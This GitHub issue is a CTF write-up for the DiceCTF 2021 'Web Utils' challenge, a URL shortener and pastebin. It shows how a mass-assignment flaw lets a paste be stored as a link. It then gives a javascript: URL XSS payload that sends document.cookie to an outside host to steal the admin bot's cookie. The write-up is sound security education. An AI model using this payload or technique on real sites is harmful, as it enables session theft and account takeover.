aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

DiceCTF 2021 - Web Utils #16

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

It's a service for shorten url and pastebin:

source code:

const database = require('../modules/database');

module.exports = async (fastify) => {
  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.get('data/:uid', {
    handler: (req, rep) => {
      if (!req.params.uid) {
        return;
      }
      const { data, type } = database.getData({ uid: req.params.uid });
      if (!data || !type) {
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'URL not found',
          });
      }
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data,
          type
        });
    }
  });
}

And it's the source code for front-end:

<!doctype html>
<html>
<head>
  <script async>
    (async () => {
      const id = window.location.pathname.split('/')[2];
      if (! id) window.location = window.origin;
      const res = await fetch(`${window.origin}/api/data/${id}`);
      const { data, type } = await res.json();
      if (! data || ! type ) window.location = window.origin;
      if (type === 'link') return window.location = data;
      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;
    })()
  </script>
</head>
<body>
  <div style="font-family: monospace"></div>
</bod>
</html>

First, it gets data from api and then either set content for pastebin or use window.location for redirecting user from shorten url to original url.

This chall also has a admin bot so we can assume the solution is XSS and steal cookie.

But how?

I spend some time to think about how to do XSS, because document.querySelector('div').textContent = data; is impossible to XSS.

Then I found window.origin is suspicious so I googled it and found this:What is window.origin?

It's seems we can manipulate window.origin by embed it inside an ifame. Because window.origin will return parent window origin.

But it's not the point, it's nothing to do with window.origin.

When I find this stackoverflow, it suddenly and randomly reminds me that we can use window.location to do XSS!

Like this:

window.location = javascript:alert(1)

So we can have a payload like this:

window.location = 'javascript:fetch("xxx.com?c="+document.cookie)'

Next, we need to create a shorten url with long url: javascript:fetch("xxx.com?c="+document.cookie).

But there is a validation to check if url starts with http/https:

const regex = new RegExp('^https?://');
if (! regex.test(req.body.data))
  return rep
    .code(200)
    .header('Content-Type', 'application/json; charset=utf-8')
    .send({
      statusCode: 200,
      error: 'Invalid URL'
    });

While createPaste doesn't do validation and deliberately use object destructuring:

fastify.post('createPaste', {
  handler: (req, rep) => {
    const uid = database.generateUid(8);
    database.addData({ type: 'paste', ...req.body, uid });

So we can override type and use createPaste to create url:

{
   "data":"javascript:fetch('https://aaa.com?c='+document.cookie)",
   "type":"link"
}

After we have this shorten url, we can submit the shorten url to admin bot.

When admin bot visit this url, it will run:

window.location = javascript:fetch('https://aaa.com?c='+document.cookie)

We can get the flag then.